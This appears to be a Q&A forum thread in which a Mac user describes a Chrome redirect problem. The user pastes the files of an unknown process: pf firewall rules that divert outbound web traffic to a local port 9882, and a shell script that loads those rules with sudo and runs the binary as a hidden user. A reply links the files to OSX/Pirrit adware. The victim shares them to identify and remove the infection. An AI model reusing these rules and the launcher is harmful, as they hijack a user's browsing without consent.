pseudohydrophobia process Mac

Question

Recently I started noticing when I browse a web page in my MBP 10.10.5 Yosemite that Chrome Canary Version 53 was opening a new tab or some pages were not opening...this tab was redirecting me to random pages.

I activated the Firewall and noticed a process call pseudohydrophobia was trying to open an incoming connection

/etc/pseudohydrophobia.conf

    rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
    pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
    pass out proto tcp all user volutate

/etc/pseudohydrophobia.sh

#!/bin/sh

if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0

Ports:

netstat -an | grep 9882
tcp4       0      0  *.9882                 *.*                    LISTEN  

/etc/pseudohydrophobia.conf

rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0  inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate

I will delete all this scripts and binary but want to post it as didnt find any Google reference.

Answer 1

Take a look at https://objective-see.com/blog/blog_0x0E.html

Analysis of an Intrusive Cross-Platform Adware; OSX/Pirrit

It could be the Pirrit malware.

The username volutate and filenames (pseudohydrophobia) are no doubt randomly generated but portnumber 9882 is the same...